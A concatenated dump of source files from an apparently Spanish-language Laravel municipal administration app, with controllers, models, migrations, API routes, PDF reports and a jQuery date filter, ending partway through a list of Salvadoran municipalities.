$(".txtinicio").datepicker({ selectOtherMonths: true, changeMonth: true, changeYear: true, dateFormat: 'dd-mm-yy', minDate: ultimo, maxDate: '+0m +0w', onSelect: function(){ start2 = $(this).datepicker("getDate"); end2 = $(this).datepicker("getDate"); start2.setDate(start2.getDate() + 1); end2.setDate(end2.getDate() + 365); $(".txtfin").datepicker({ selectOtherMonths: true, changeMonth: true, changeYear: true, dateFormat: 'dd-mm-yy', minDate: start2, maxDate: '+0m +0w' }); } }); $("#consultar").on("click", function(e){ var token = $('meta[name="csrf-token"]').attr('content'); var request,request2; if(busca=='e'){ var usuario=$("#cmbusuario").val(); }else{ if(busca=='d'){ var dia = $("#txtdia").val(); }else{ if(busca=='p'){ var inicio = $("#txtinicio").val(); var fin = $("#txtfin").val(); }else{ } } } $.ajax({ url: '/'+carpeta()+'/public/bitacoras/general', headers: {'X-CSRF-TOKEN':token}, type:'GET', dataType:'json', data:{usuario,dia,inicio,fin}, success: function(msj){ $(bita).empty(); var contador=0; $(msj.mensaje).each(function(key, value){ contador++; $(bita).append( "<tr>"+ "<td>" + contador + "</td>" + "<td>" + fecha_espaniol(value.registro) + "</td>" + "<td>" + value.hora + "</td>"+ "<td>" + value.accion+ "</td>" + "<td>" + value.user.empleado_id + "</td>"+ "<td><div class='btn-group'>"+ "<a class='btn btn-primary btn-xs'><i class='glyphicon glyphicon-eye-open'></i></a>"+ "</div></td>"+ "</tr>" ); }); }, error: function(msj){ } }); }) }); function busqueda(valor){ if(valor=='e'){ busca=valor; $(".cmbusuario").show(); $(".txtdia").hide(); $(".txtdia").removeAttr("name"); $(".txtinicio").removeAttr("name"); $(".txtfin").removeAttr("name"); $(".txtinicio").hide(); $(".txtfin").hide(); }else{ if(valor=='d'){ busca=valor; $(".cmbusuario").hide(); $(".txtdia").show(); $(".txtinicio").removeAttr("name"); $(".txtfin").removeAttr("name"); $(".cmbusuario").removeAttr("name"); $(".txtinicio").hide(); $(".txtfin").hide(); }else{ if(valor=='p'){ busca=valor; $(".cmbusuario").hide(); $(".txtdia").hide(); $(".txtmes").hide(); $(".txtinicio").show(); $(".txtfin").show(); $(".cmbusuario").removeAttr("name"); $(".txtdia").removeAttr("name"); } } } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Negocio extends Model { protected $guarded = []; public function contribuyente() { return $this->belongsTo('App\Contribuyente'); } public function rubro () { return $this->belongsTo('App\Rubro'); } }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Contribuyente; use App\Inmueble; class ContribuyenteApiController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { return Contribuyente::select('id', 'nombre', 'telefono', 'dui', 'nit', 'estado') ->orderBy('id', 'asc') ->get(); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $all = $request->all(); $contribuyente = new Contribuyente(); $contribuyente->dui = $all['object']['dui']; $contribuyente->nit = $all['object']['nit']; $contribuyente->sexo = $all['object']['sexo']; $contribuyente->nombre = $all['object']['nombre']; $contribuyente->telefono = $all['object']['telefono']; $contribuyente->direccion = $all['object']['direccion']; $contribuyente->nacimiento = date("Y-m-d", strtotime($all['object']['nacimiento'])); if($contribuyente->save()){ return array( "response" => true, "data" => $contribuyente, "message" => 'Hemos agregado con exito al nuevo contribuyente', ); }else{ return array( "response" => false, "message" => 'Tenemos problema con el servidor por le momento. intenta mas tarde' ); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { return Contribuyente::where('id', $id) ->with(['inmuebles']) ->take(1) ->first(); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy(Request $request, $id) { $contribuyente = Contribuyente::find($id)->update([ "estado" => $request->get('estado') ]); return "{ 'message' : 'Todo esta correcto' }"; } public function onUpdateContribuyenteInmueble(Request $request){ $parameters = $request->all(); $result = Inmueble::where('id', $parameters['id'])->update([ 'latitude' => $parameters['lat'] , 'longitude' => $parameters['lng'] ]); if($result){ return array( "data" => Inmueble::find($parameters['id']), "message" => 'Hemos actualizado con exito la ubicacion', "response" => true ); }else{ return array( "message" => 'Tenemos problema con el servidor por le momento. intenta mas tarde', "response" => false ); } } public function onUpdateContribuyente(Request $request){ $parameters = $request->all()['people']; //$parameters = $parameters['people']; $result = Contribuyente::find($parameters['id'])->update([ "nombre" => $parameters['nombre'], "dui" => $parameters['dui'], "nit" => $parameters['nit'], "telefono" => $parameters['telefono'], "direccion" => $parameters['direccion'], "nacimiento" => date("Y-m-d", strtotime($parameters['nacimiento'])) ]); //$contribuyente->nacimiento = ; if($result){ return array( "data" => Contribuyente::find($parameters['id']), "message" => 'Hemos actualizado al contribuyente con exito', "response" => true ); }else{ return array( "message" => 'Tenemos problema con el servidor por le momento. intenta mas tarde', "response" => false ); } } public function darBajaContribuyente(Request $request) { $parameters = $request->all(); $result = Contribuyente::where('id', $parameters['id'])->update([ "fechabaja" => date('Y-m-d'), "motivo" => $parameters['motivo'], "estado" => $parameters['estado'] ]); if($result){ return array( "data" => Contribuyente::find($parameters['id']), "message" => 'Hemos actualizado con exito la ubicacion', "response" => true ); }else{ return array( "message" => 'Tenemos problema con el servidor por le momento. intenta mas tarde', "response" => false ); } } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCamposToContratos extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('contratos', function (Blueprint $table) { $table->date('inicio_contrato'); $table->date('fin_contrato'); $table->time('hora_entrada'); $table->time('hora_salida'); $table->date('fecha_aprobacion'); $table->date('fecha_revision'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('contratos', function (Blueprint $table) { $table->dropColumn('inicio_contrato'); $table->dropColumn('fin_contrato'); $table->dropColumn('hora_entrada'); $table->dropColumn('hora_salida'); $table->dropColumn('fecha_aprobacion'); $table->dropColumn('fecha_revision'); }); } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCuentaprincipalsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('cuentaprincipals', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('numero_de_cuenta'); $table->string('banco'); $table->integer('anio'); $table->double('monto_inicial',8,2); $table->integer('estado')->default(1); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('cuentaprincipals'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; Use App\Cuentaprincipal; class CuentaprincipalController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $cuentas = Cuentaprincipal::all(); return view('cuentaprincipal.index',compact('cuentas')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $anio = date('Y'); $cuenta = Cuentaprincipal::where('anio',$anio)->first(); //dd($cuenta); return view('cuentaprincipal.create',compact('cuenta')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $anio=date('Y')-1; $anterior=Cuentaprincipal::where('anio',$anio)->first(); if($anterior != null){ $monto=$anterior->monto_inicial; $anterior->monto_inicial=0; $anterior->estado=2; $anterior->save(); }else{ $monto=0.0; } $cuenta= new Cuentaprincipal(); $cuenta->numero_de_cuenta=$request->numero_de_cuenta; $cuenta->banco=$request->banco; $cuenta->anio=$request->anio; $cuenta->monto_inicial=$request->monto_inicial+$monto; $cuenta->save(); return redirect('cuentaprincipal'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $cuenta=Cuentaprincipal::findorFail($id); return view('cuentaprincipal.edit',compact('cuenta')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $cuenta=Cuentaprincipal::find($id); $cuenta->fill($request->All()); return redirect('cuentaprincipal'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Tipopago extends Model { protected $guarded = []; public function pago() { return $this->hasMany('App\Pago'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\ContratoProyecto; use App\ContratacionProyecto; use App\EPFuncione; use DB; class EPContratacionController extends Controller { /*obtener el listado de empleados que no esten trabajando en otro proyecto de la alcaldía */ public function listadeempleados($id) { $empleados = DB::table('empleados') ->whereNotExists(function ($query) use ($id) { $query->from('contratacion_proyectos') ->whereRaw('contratacion_proyectos.empleado_id = empleados.id') ->whereRaw('contratacion_proyectos.contratoproyecto_id = '.$id); })->get(); return base64_encode($empleados); } /* se listan todos las contrataciones en consulta ajax */ public function todosloscontratos() { return base64_encode(ContratacionProyecto::with('empleado','contratoproyecto')->get()); } //ver la informacion relevante de la persona contratada public function vercontratado($id) { return base64_encode($contratado = ContratacionProyecto::with('empleado','ContratoProyecto','epfuncione')->find($id)); /*return $contratacion = DB::table('contratacion_proyectos AS cps') ->with('epfuncione') ->select('emp.nombre AS nomemp','pro.nombre AS nompro','pro.direccion') ->join('empleados as emp', 'cps.empleado_id', '=', 'emp.id') ->join('contrato_proyectos AS cp', 'cps.contratoproyecto_id', '=','cp.id') ->join('proyectos AS pro','cp.proyecto_id','=','pro.id') ->where('cps.id', $id) ->get();*/ //return $e = select * from contratacion_proyectos INNER JOIN empleados INNER JOIN contrato_proyectos INNER JOIN proyectos WHERE contratacion_proyectos.empleado_id=empleados.id AND contratacion_proyectos.id=8 } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $id = $request->get('id'); $contrataciones = ContratacionProyecto::where('contratoproyecto_id',$id)->get(); return view('contratacionproyectos.index',compact('contrataciones')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($id) { $proyecto = ContratoProyecto::findorFail($id); //dd($proyecto->proyecto->nombre); return view('contratacionproyectos.create',compact('proyecto')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if($request->ajax()) { DB::beginTransaction(); try{ $contrato = ContratacionProyecto::create([ 'contratoproyecto_id' => $request->proyecto, 'empleado_id' => $request->empleado, 'cargo' => $request->cargo, 'salario' => $request->salario, 'fecha_revision' => $request->fecharevision, 'fecha_contratacion' => date('Y-m-d'), ]); foreach($request->funciones as $funcion){ EPFuncione::create([ 'contratacionproyecto_id' => $contrato->id, 'funcion' => $funcion['funcion'], ]); } DB::commit(); return response()->json([ 'mensaje' => 'exito', ]); }catch(\Exception $e){ DB::rollback(); return response()->json([ 'mensaje' => 'error', 'codigo' => $e->getMessage(), ]); } } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php use Illuminate\Http\Request; /* |-------------------------------------------------------------------------- | API Routes |-------------------------------------------------------------------------- | | Here is where you can register API routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | is assigned the "api" middleware group. Enjoy building your API! | */ Route::middleware('auth:api')->get('/user', function (Request $request) { return $request->user(); }); // Contribuyentes Route::resource('contribuyentes', 'ContribuyenteApiController'); Route::post('contribuyentes/updateLatLng', 'ContribuyenteApiController@onUpdateContribuyenteInmueble'); Route::post('contribuyentes/darBajaContribuyente', 'ContribuyenteApiController@darBajaContribuyente'); Route::post('contribuyentes/update', 'ContribuyenteApiController@onUpdateContribuyente'); // Inmuebles Route::resource('inmuebles', 'InmuebleController'); Route::post('inmuebles/addTipoServicio', 'InmuebleController@addTipoServicioInmueble'); Route::post('inmuebles/removeTipoServicio', 'InmuebleController@removeTipoServicioInmueble'); // Tipo Servicio Route::resource('tipo_servicios', 'TipoServicioController');<file_sep>k<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateContratoSuministrosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('contrato_suministros', function (Blueprint $table) { $table->bigIncrements('id'); $table->bigInteger('proveedor_id')->unsigned(); $table->bigInteger('requisicion_id')->unsigned(); $table->date('fecha_contratacion'); $table->date('inicio_contrato'); $table->date('fecha_revision')->nullable(); $table->string('motivo_baja')->nullable(); $table->date('fecha_baja')->nullable(); $table->integer('estado')->default(1); $table->foreign('proveedor_id')->references('id')->on('proveedors'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contrato_suministros'); } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddContribuyentesToPagos extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('pagos', function (Blueprint $table) { $table->bigInteger('contribuyente_id')->unsigned(); $table->bigInteger('estado')->unsigned()->default(1); $table->string('motivobaja')->nullable(); $table->date('fechabaja')->nullable(); $table->foreign('contribuyente_id')->references('id')->on('contribuyentes'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('pagos', function (Blueprint $table) { $table->dropForeign('pagos_contribuyente_id_foreign'); $table->dropColumn('contribuyente_id'); $table->dropColumn('estado'); $table->dropColumn('motivobaja'); $table->dropColumn('fechabaja'); }); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Carbon\Carbon; use App\Traits\DatesTranslator; class Solicitudcotizacion extends Model { use DatesTranslator; protected $guarded =[]; public $dates = ['fecha_limite']; public function presupuesto() { return $this->belongsTo('App\Presupuesto'); } public function formapago() { return $this->belongsTo('App\Formapago'); } public function presupuestosolicitud() { return $this->hasMany('App\PresupuestoSolicitud'); } public static function correlativo() { $numero=Solicitudcotizacion::where('created_at','>=',date('Y'.'-1-1'))->where('created_at','<=',date('Y'.'-12-31'))->count(); if($numero>0 && $numero<10){ return "00".($numero+1)."-".date("Y"); }else{ if($numero >= 10 && $numero <100){ return "0".($numero+1)."-".date("Y"); }else{ if($numero>=100){ return ($numero+1)."-".date("Y"); }else{ return "001-".date("Y"); } } } } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\User; use App\Cargo; use App\Http\Requests\UsuariosRequest; use App\Http\Requests\ModificarUsuarioRequest; class UsuariosController extends Controller { public function __construct() { $this->middleware(['auth','Admin']); } public function index() { $usuarios=User::paginate(10); //$usuarios = User::join('cargos','users.cargo','=', 'cargos.idcargo')->paginate(5); return view('usuarios.index')->with('usuarios', $usuarios); } public function registro() { //$cargos =Cargo::all(); $cargos = Cargo::where('id' , '!=', 1)->get(); return view('usuarios.registro')->with('cargos',$cargos); } public function save(UsuariosRequest $request) { User::create([ 'name' => $request['name'], 'username' => $request['username'], 'email' => $request['email'], 'cargo' => $request['cargo'], 'password' => <PASSWORD>($request['password']), ]); bitacora('Registro un Usuario'); return redirect('usuarios')->with('mensaje','Usuario almacenado con éxito'); } public function buscar($id) { $usuario = User::find($id); $cargos =Cargo::all(); //dd($cargos); return view('usuarios.modificar',compact('usuario','cargos')); } public function update(ModificarUsuarioRequest $request) { $id = $request['id']; $usuario = User::find($id); $usuario->fill($request->All()); //dd($request->all()); bitacora('Modificó un Usuario'); $usuario->save(); return redirect('usuarios'); } public function borrar($id) { $usuario = User::find($id); return view('usuarios.borrar')->with('usuario',$usuario); return redirect('usuarios'); } public function destroy(Request $request) { $id = $request['id']; $usuario = User::find($id); $usuario->avatar = "hola.jpg"; $usuario->save(); return redirect('usuarios'); } public function perfil() { return view('usuarios.perfil'); } public function modificarperfil($id) { return view('usuarios.modificarperfil'); } public function updateperfil(Request $request) { $id = $request['id']; $usuario = User::find($id); $usuario->fill($request->All()); //dd($request->all()); bitacora('Modificó su perfil'); $usuario->save(); return redirect('home/perfil'); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use App\Traits\DatesTranslator; class Ordencompra extends Model { use DatesTranslator; protected $guarded = []; protected $dates = ['fecha_inicio', 'fecha_fin']; public function cotizacion() { return $this->belongsTo('App\Cotizacion'); } public static function correlativo() { $numero=Ordencompra::where('created_at','>=',date('Y'.'-1-1'))->where('created_at','<=',date('Y'.'-12-31'))->count(); if($numero>0 && $numero<10){ return intval("00".($numero+1).date('Y')); }else{ if($numero >=10 && $numero < 100){ return intval("0".($numero+1).date('Y')); }else{ if($numero<=100){ return intval(($numero+1).date('Y')); }else { return intval("1".date("Y")); } } } } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Construccion extends Model { protected $guarded = []; public function contribuyente() { return $this->belongsTo('App\Contribuyente'); } public function impuesto() { return $this->belongsTo('App\Impuesto'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Calendarizacion; class CalendarizacionController extends Controller { public function __construct() { $this->middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $calendarizaciones = Calendarizacion::all(); return view('calendarizaciones.index',compact('calendarizaciones')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('calendarizaciones.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { /*Calendarizacion::create($request->All()); return redirect('/calendarizaciones')->with('mensaje', 'Dato registrado');*/ } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $calendarizacion = Calendarizacion::findorFail($id); return view('calendarizaciones.show',compact('calendarizacion')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $calendarizacion = Calendarizacion::findorFail($id); return view('calendarizaciones.edit',compact('calendarizacion')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { } public function agregar_calendarizacion(Request $request){ $cal = Calendarizacion::create($request->All()); } }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Unidad; use App\Presupuestounidad; use App\Presupuestounidaddetalle; class PresupuestoUnidadController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $presupuestos = Presupuestounidad::where('estado',1)->get(); return view('unidades.presupuestos.index',compact('presupuestos')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $unidades = Unidad::where('estado',1)->get(); return view('unidades.presupuestos.create',compact('unidades')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if($request->Ajax()){ $presupuestos = $request->presupuesto; $presupuestounidad = Presupuestounidad::create([ 'unidad_id' => $request->unidad_admin, 'total' => $request->totalp, ]); foreach($presupuestos as $presupuesto) { Presupuestounidaddetalle::create([ 'presupuestounidad_id' => $presupuestounidad->id, 'descripcion' => $presupuesto['descripcion'], 'unidad_medida' => $presupuesto['unidad_medida'], 'cantidad' => $presupuesto['cantidad'], 'precio' => $presupuesto['precio'], ]); } return response()->json([ 'mensaje' => $request->All() ]); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class ModificarUsuarioRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'name' => 'required|min:3|regex:/^([a-zA-ZñÑáéíóúÁÉÍÓÚ])+((\s*)+([a-zA-ZñÑáéíóúÁÉÍÓÚ]*)*)+$/|max:255', 'username' => 'required|string|max:255', 'email' => 'required|string|email|max:255', 'cargo' => 'required', ]; } public function messages() { return [ 'name.required'=>'El campo nombre obligatorio', 'name.regex'=>'El campo nombre debe contener solo texto', 'name.max'=>'El campo nombre no debe exceder 255 caracteres', 'name.min'=>'El campo nombre debe tener al menos 3 letras', 'email.unique'=>'El correo ya está en uso', 'username.required'=>'El campo nombre de usuario es obligatorio', 'username.min'=>'El nombre de usuario debe tener al menos 5 caracteres', 'username.unique'=>'El nombre de usuario ya está en uso', ]; } } <file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class InmuebleRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'numero_catastral' => 'required', 'contribuyente_id' => 'required', 'direccion_inmueble'=> 'required', 'medida_inmueble' => 'required', 'numero_escritura' => 'required', 'metros_acera' => 'required|numeric', ]; } } <file_sep>module.exports = (app) => { app.config(['$interpolateProvider', ($interpolateProvider) => { $interpolateProvider.startSymbol('((') $interpolateProvider.endSymbol('))') }]) app.config(['RestangularProvider', (RestangularProvider) => { let contentToken = document.querySelector('meta[name="csrf-token"]') RestangularProvider.setBaseUrl('./api/'); RestangularProvider.setDefaultHeaders({ 'X-CSRF-TOKEN' : contentToken.content, 'Content-Type': 'application/json' }); }]) }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; class ReportesUaciController extends Controller { public function proyectos() { $proyectos = \App\Proyecto::all(); $tipo = "REPORTE DE PROYECTOS"; $pdf = \PDF::loadView('pdf.uaci.proyecto',compact('proyectos','tipo')); $pdf->setPaper('letter', 'portrait'); return $pdf->stream('proyectos.pdf'); } public function proveedor() { $proveedores = \App\Proveedor::where('estado',1)->get(); $tipo = "REPORTE DE PROVEEDORES"; $pdf = \PDF::loadView('pdf.uaci.proveedor',compact('proveedores','tipo')); $pdf->setPaper('letter', 'landscape'); return $pdf->stream('proveedores.pdf'); } public function solicitud($id) { $solicitud = \App\PresupuestoSolicitud::findorFail($id); $presupuesto = \App\Presupuesto::where('categoria_id', "=", $solicitud->categoria_id)->firstorFail(); $tipo = "SOLICITUD DE COTIZACION DE BIENES Y SERVICIOS POR LIBRE GESTION"; $pdf = \PDF::loadView('pdf.uaci.solicitud',compact('solicitud','tipo','presupuesto')); $pdf->setPaper('letter', 'portrait'); return $pdf->stream('solicitud.pdf'); } public function ordencompra($id) { $ordencompra = \App\Ordencompra::findorFail($id); //dd($ordencompra); $tipo = "REPORTE DE ORDEN DE COMPRA"; $pdf = \PDF::loadView('pdf.uaci.ordencompra',compact('ordencompra','tipo')); $pdf->setPaper('letter','portrait'); return $pdf->stream('ordencompra.pdf'); } public function cuadrocomparativo($id) { $solicitud = \App\PresupuestoSolicitud::where('estado',2)->findorFail($id); $presupuesto = \App\Presupuesto::findorFail($solicitud->presupuesto->id); //dd($presupuesto); $detalles = \App\Presupuestodetalle::where('presupuesto_id',$presupuesto->id)->get(); $cotizaciones = \App\Cotizacion::where('presupuestosolicitud_id',$solicitud->id)->with('detallecotizacion')->get(); //dd($cotizaciones); $tipo = "REPORTE DE CUADRO COMPARATIVO DE OFERTAS"; $pdf = \PDF::loadView('pdf.uaci.cuadrocomparativo',compact('solicitud','presupuesto','detalles','cotizaciones','tipo')); $pdf->setPaper('letter','landscape'); return $pdf->stream('cuadrocomparativo.pdf'); } public function contratoproyecto($id) { $alcaldia=\App\Configuracion::first(); $contratacionproyecto = \App\ContratacionProyecto::findorFail($id); $tipo = "CONTRATO DE EMPLEADO"; $pdf = \PDF::loadView('pdf.uaci.contratacionproyecto',compact('contratacionproyecto','tipo','alcaldia')); $pdf->setPaper('letter','portrait'); return $pdf->stream('contratacionproyecto.pdf'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Cuentaproy; use App\Cuenta; use App\Proyecto; use App\Http\Requests\CuentaRequest; use App\Http\Requests\CuentauRequest; class CuentaController extends Controller { public function __construct() { $this->middleware('auth'); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $cuentas = Cuentaproy::all(); return view('cuentas.index',compact('cuentas')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { /*$proyectos=Proyecto::all(); return view('cuentas.create',compact('proyectos'));*/ } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(CuentaRequest $request) { Cuentaproy::create($request->All()); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show(Cuentaproy $cuenta) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit(Cuentaproy $cuenta) { $proyectos=Proyecto::all(); return view('cuentas.edit',compact('cuenta','proyectos')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, Cuentaproy $cuenta) { $cuenta->fill($request->All()); $cuenta->save(); return redirect('cuentas')->with('mensaje','Cuenta modificada con éxito'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep><?php use Illuminate\Database\Seeder; class InmuebleTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { factory(App\Inmueble::class, 200)->create()->each(function($i){ $i->save(); }); } } <file_sep>function SelectSubCat(main_select_obj, sec_select_obj){ // ON selection of category this function will work removeAllOptions(sec_select_obj); addOption(sec_select_obj, "", "Seleccione el municipio", ""); if(main_select_obj.value == "Ahuachapán"){ addOption(sec_select_obj,"Ahuachapán", "Ahuachapán"); addOption(sec_select_obj,"Jujutla", "Jujutla"); addOption(sec_select_obj,"Atiquizaya", "Atiquizaya"); addOption(sec_select_obj,"Concepción de Ataco", "Concepción de Ataco"); addOption(sec_select_obj,"El Refugio", "El Refugio"); addOption(sec_select_obj,"Guaymango", "Guaymango"); addOption(sec_select_obj,"Apaneca", "Apaneca"); addOption(sec_select_obj,"San Francisco Menéndez", "San Francisco Menéndez"); addOption(sec_select_obj,"San Lorenzo", "San Lorenzo"); addOption(sec_select_obj,"San Pedro Puxtla", "San Pedro Puxtla"); addOption(sec_select_obj,"Tacuba", "Tacuba"); addOption(sec_select_obj,"Turín", "Turín"); } if(main_select_obj.value == "Cabañas"){ addOption(sec_select_obj,"Cinquera", "Cinquera"); addOption(sec_select_obj,"Villa Dolores", "Villa Dolores"); addOption(sec_select_obj,"Guacotecti", "Guacotecti"); addOption(sec_select_obj,"Ilobasco", "Ilobasco"); addOption(sec_select_obj,"Jutiapa", "Jutiapa"); addOption(sec_select_obj,"San Isidro", "San Isidro"); addOption(sec_select_obj,"Sensuntepeque", "Sensuntepeque"); addOption(sec_select_obj,"Ciudad de Tejutepeque", "Ciudad de Tejutepeque"); addOption(sec_select_obj,"Victoria", "Victoria"); } if(main_select_obj.value == "Chalatenango"){ addOption(sec_select_obj,"Agua Caliente", "Agua Caliente"); addOption(sec_select_obj,"Arcatao", "Arcatao"); addOption(sec_select_obj,"Azacualpa", "Azacualpa"); addOption(sec_select_obj,"Chalatenango", "Chalatenango"); addOption(sec_select_obj,"Citalá", "Citalá"); addOption(sec_select_obj,"Comalapa", "Comalapa"); addOption(sec_select_obj,"Concepción Quezaltepeque", "Concepción Quezaltepeque"); addOption(sec_select_obj,"Dulce Nombre de María", "Dulce Nombre de María"); addOption(sec_select_obj,"El Carrizal", "El Carrizal"); addOption(sec_select_obj,"El Paraíso", "El Paraíso"); addOption(sec_select_obj,"La Laguna", "La Laguna"); addOption(sec_select_obj,"La Palma", "La Palma"); addOption(sec_select_obj,"La Reina", "La Reina"); addOption(sec_select_obj,"Las Vueltas", "Las Vueltas"); addOption(sec_select_obj,"Nombre de Jesús", "Nombre de Jesús"); addOption(sec_select_obj,"Nueva Concepción", "Nueva Concepción"); addOption(sec_select_obj,"Nueva Trinidad", "Nueva Trinidad"); addOption(sec_select_obj,"Ojos de Agua", "Ojos de Agua"); addOption(sec_select_obj,"Potonico", "Potonico"); addOption(sec_select_obj,"San Antonio de la Cruz", "San Antonio de la Cruz"); addOption(sec_select_obj,"San Antonio Los Ranchos", "San Antonio Los Ranchos"); addOption(sec_select_obj,"San Fernando", "San Fernando"); addOption(sec_select_obj,"San Francisco Lempa", "San Francisco Lempa"); addOption(sec_select_obj,"San Francisco Morazán", "San Francisco Morazán"); addOption(sec_select_obj,"San Ignacio", "San Ignacio"); addOption(sec_select_obj,"San Isidro Labrador", "San Isidro Labrador"); addOption(sec_select_obj,"San José Cancasque", "San José Cancasque"); addOption(sec_select_obj,"San José Las Flores", "San José Las Flores"); addOption(sec_select_obj,"San Luis del Carmen", "San Luis del Carmen"); addOption(sec_select_obj,"San Miguel de Mercedes", "San Miguel de Mercedes"); addOption(sec_select_obj,"San Rafael", "San 